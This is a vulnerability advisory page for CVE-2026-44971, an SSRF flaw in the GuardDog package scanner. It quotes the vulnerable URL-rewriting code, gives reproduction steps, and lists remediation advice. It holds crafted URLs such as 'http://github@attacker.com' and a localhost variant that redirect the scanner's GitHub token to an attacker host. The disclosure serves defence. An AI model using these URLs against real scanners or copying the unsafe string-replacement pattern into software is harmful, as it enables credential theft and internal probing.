Skip to main content

GuardDog CVE-2026-44971

| EUVDEUVD-2026-32535 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-11 https://github.com/DataDog/guarddog GHSA-587r-mc96-6f2p
8.2
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 11, 2026 - 15:00 vuln.today
Analysis Generated
May 11, 2026 - 15:00 vuln.today
CVE Published
May 11, 2026 - 14:45 nvd
HIGH 8.2

DescriptionGitHub Advisory

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

python
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

text
http://github@127.0.0.1:18081/owner/repo

is transformed into:

text
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

  • guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

  • theft of the GitHub PAT configured in GH_TOKEN
  • SSRF to internal or localhost services reachable by the scanner
  • attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

AnalysisAI

Server-side request forgery (SSRF) in GuardDog 1.0.0 through 2.9.0 allows remote attackers to exfiltrate GitHub personal access tokens and probe internal networks via malicious repository URLs. The vulnerability stems from blind string replacement in ProjectScanner.scan_remote() that fails to validate hostnames before appending authentication credentials. No vendor-released patch identified at time of analysis. Publicly available exploit code exists via GitHub advisory reproduction steps. CVSS 8.2 (High) with network vector and no authentication required.

Technical ContextAI

GuardDog is a Python security scanner for PyPI and npm packages (pkg:pip/guarddog). The vulnerability exists in ProjectScanner.scan_remote() at guarddog/scanners/scanner.py lines 361-365. The method performs a naive string replacement (url.replace('github', 'raw.githubusercontent')) to convert GitHub repository URLs to raw content URLs without parsing or validating the hostname component. This violates the principle of treating URLs as structured data, classified as CWE-918 (Server-Side Request Forgery). The Python requests library correctly interprets URL components, so a crafted URL like 'http://github@attacker.com' has 'github' as a username in the userinfo component, not part of the hostname. After string replacement, the request targets the attacker-controlled host while carrying GitHub credentials via HTTP Basic Auth. The vulnerability affects all programmatic callers of scan_remote() between versions 1.0.0 and 2.9.0, with CPE pkg:pip/guarddog covering the affected package.

RemediationAI

No vendor-released patch identified at time of analysis (fix version listed as None for vulnerable range 1.0.0-2.9.0). Users must implement immediate compensating controls: (1) Restrict scan_remote() to only scan repositories from a predefined allowlist of trusted GitHub URLs, validating that parsed hostname equals 'github.com' before passing to GuardDog. (2) Remove or rotate any GitHub personal access tokens (GH_TOKEN) that may have been exposed to untrusted scanning targets; review GitHub audit logs for unauthorized access using compromised tokens. (3) Implement network egress filtering to block outbound HTTP/HTTPS from GuardDog scanner processes to non-GitHub IP ranges, preventing SSRF to internal services - note this may break legitimate functionality if GuardDog needs to scan self-hosted Git instances. (4) For programmatic integrations, fork the GuardDog repository and apply the suggested fix from the advisory: parse input URLs using urllib.parse, enforce hostname == 'github.com', validate path structure matches owner/repo pattern, construct raw.githubusercontent.com URLs from validated components rather than string replacement, and implement strict hostname validation before attaching authentication headers. Monitor the vendor advisory at https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p for patch availability. Each workaround has trade-offs: URL allowlisting prevents scanning new repositories without manual approval; egress filtering may block legitimate use cases; forking requires maintaining a custom build.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-44971 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy